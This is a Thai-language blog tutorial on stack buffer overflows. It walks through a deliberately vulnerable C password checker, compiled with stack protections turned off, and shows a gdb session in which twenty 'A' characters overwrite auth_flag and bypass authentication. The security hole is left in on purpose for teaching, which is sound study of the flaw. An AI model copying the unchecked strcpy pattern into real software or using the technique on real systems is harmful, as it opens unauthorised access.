เมื่อฟังก์ชั่นถูกเรียกใช้ โครงสร้างที่ชื่อ สแต็กเฟรม ( Stack Frame ) ได้ถูก push ลงไปบนสแต็ก และรีจิสเตอร์ EIP จะกระโดดไปยังคำสั่งแรกของฟังก์ชั่น แต่ละสแต็กเฟรมจะเก็บตัวแปรแบบโลคอลของฟังก์ชั่นนั้น และรีเทิร์นแอดเดรสเพื่อที่ว่าค่าของ EIP จะได้สามารถถูกเรียกคืนได้ โดยโครงสร้างและกลไกต่างๆ ที่กล่าวมานี้ได้รับการจัดการโดยคอมไพเลอร์ ไม่ใช่โปรแกรมเมอร์
auth_overflow.c
/* * Compile * gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -g -o auth_overflow auth_overflow.c * */ #include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { int auth_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "nopX90") == 0) auth_flag = 1; if(strcmp(password_buffer, "naruedol") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s\n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" Access Granted.\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nAccess Denied.\n"); } }
โปรแกรมตัวอย่างนี้จะรับเฉพาะรหัสผ่านมาเป็นอาร์กิวเมนต์ของบรรทัดคำสั่ง และจากนั้นจะไปเรียกใช้ฟังก์ชั่น check_authentication() ฟังก์ชั่นนี้อนุญาติให้มีสองรหัสผ่าน เพื่อตรวจสอบการใช้งานของผู้ใช้ ถ้าหนึ่งในรหัสผ่านเหล่านี้ถูกรีเทิร์นกลับมาเป็น 1 ซึ่งก็หมายความว่าอนุญาตให้เข้าใช้งานระบบได้
root@bt:~/Hacking# ./auth_overflow Usage: ./auth_overflowroot@bt:~/Hacking# ./auth_overflow test Access Denied. root@bt:~/Hacking# ./auth_overflow nopX90 -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- root@bt:~/Hacking# ./auth_overflow naruedol -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=-
ทุกอย่างทำงานได้ตามปกติ ตามที่ซอร์สโค้ดเขียนไว้ นี่เป็นสิ่งที่เราคาดหวังได้จากคอมพิวเตอร์ แต่การเกิดโฟลว์ขึ้นจะนำเราไปสู่เหตุการณ์ที่เราไม่คาดคิด และบางอย่างที่ขุดแย้งกัน ซึ่งจะนำไปสู่การเข้าถึงระบบได้โดยไม่ต้องระบุรหัสผ่าน
root@bt:~/Hacking# ./auth_overflow AAAAAAAAAAAAAAAAAAAA -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=-
เกิดอะไรขึ้นกับโปรแกรม auth_overflow.c เราลองมาดูการทำงานภายในของระบบดู
root@bt:~/Hacking# gdb -q ./auth_overflow Reading symbols from /root/Hacking/auth_overflow...done. (gdb) list 1 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int check_authentication(char *password) { 6 int auth_flag = 0; 7 char password_buffer[16]; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, "nopX90") == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, "naruedol") == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) b 9 #break line 9 เพื่อจะได้เช็คค่าก่อนจะโอเวอร์โฟลว์ Breakpoint 1 at 0x80484a1: file auth_overflow.c, line 9. (gdb) b 16 Breakpoint 2 at 0x80484ef: file auth_overflow.c, line 16. (gdb) r AAAAAAAAAAAAAAAAAAAA Starting program: /root/Hacking/auth_overflow AAAAAAAAAAAAAAAAAAAA Breakpoint 1, check_authentication (password=0xbffff736 'A') at auth_overflow.c:9 9 strcpy(password_buffer, password); (gdb) x/s password_buffer 0xbffff4f4: "\364\237\374\267\200\205\004\b\030\365\377\277\245\064", (gdb) x/x &auth_flag 0xbffff504: 0x00000000 (gdb) print 0xbffff504 - 0xbffff4f4 #หาระยะหว่างระหว่าง password_buffer กับ auth_flag $1 = 16 (gdb) x/16xw password_buffer 0xbffff4f4: 0xb7fc9ff4 0x08048580 0xbffff518 0xb7ea34a5 0xbffff504: 0x00000000 0xbffff518 0x08048532 0xbffff736 0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002 0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580 (gdb)
เบรกพอยต์แรกอยู่ก่อนหน้านี้ฟังก์ชั่น strcpy() จะทำงาน ด้วยการสำรวจพอยน์เตอร์ password_buffer เราจะพบว่าดีบั๊กเกอร์จะแสดงว่ามันถูกบรรจุด้วยข้อมูลแบบสุ่มที่ไม่ได้ผ่านการเซตค่าเริ่มต้น และถูกเก็บไว้ที่แอดเดรส 0xbffff4f4 ในหน่วยความจำ ด้วยการสำรวจแอดเดรสของตัวแปร auth_flag เราสามารถดูได้ทั้งตำแหน่งของมันที่ 0xbffff504 และค่าที่เท่ากับศูนย์ คำสั่ง print ทำให้เรารู้ว่า auth_flag อยู่ห่างจากจุดเริ่มต้นของ password_buffer ไป 16 ไบต์
(gdb) c Continuing. Breakpoint 2, check_authentication (password=0xbffff735 'A' <repeats 20="" times="">) at auth_overflow.c:16 16 return auth_flag; (gdb) x/s password_buffer 0xbffff4f4: 'A' <repeats 20="" times=""> (gdb) x/x &auth_flag 0xbffff504: 0x41414141 (gdb) x/16xw password_buffer 0xbffff4f4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff504: 0x41414141 0xbffff500 0x08048532 0xbffff735 0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002 0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580 (gdb) x/4cb &auth_flag 0xbffff504: 65 'A' 65 'A' 65 'A' 65 'A' (gdb) x/dw &auth_flag 0xbffff504: 1094795585
เบรกพอยต์ถัดไปที่พบหลังจากฟังก์ชัน strcpy() ตำแหน่งของหน่วยความจำเหล่านี้สามารถถูกสำรวจได้อีกครั้ง ข้อมูลใน password_buffer ได้โอเวอร์โฟลว์เข้าไปใน auth_flag และแก้ไขค่าสี่ไบต์เริ่มต้นให้เท่ากับ 0x41 ค่า 0x41414141 จริงๆมันอยู่ในฐานะที่เป็นเลขจำนวนเต็ม โดยมีค่าเท่ากับ 1094795585 (ดูเยอะไปไหนอาจทำให้โปรแกรมแครชลงได้ แต่ถ้าลอง A 18 ตัวอาจจะดูดีกว่านี้ )
(gdb) c Continuing. -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb)
หลังจากการเกิดโอเวอร์โฟลว์ พังก์ชั่น check_authentication() จะรีเทิร์นค่า 1094795585 แทนที่จะรีเทิร์น 0 เนื่องจากคำสั่ง if จะมองว่าค่าใดๆ ที่รีเทิร์นมา หากไม่ใช่ 0 ก็ถือว่าเป็นการผ่านการตรวจสอบแล้วการฟังก์ชั่น check_authentication()
ในตัวอย่างนี้ ตัวแปร auth_flag ถือได้ว่าเป็นจุดควบคุมการเอ็กซีคิวต์ เนื่องจากการเขียนทับค่าตัวแปรนี้ได้ถือว่าเป็นจุดเปลี่ยนในการตัดสินใจของโปรแกรม
No comments:
Post a Comment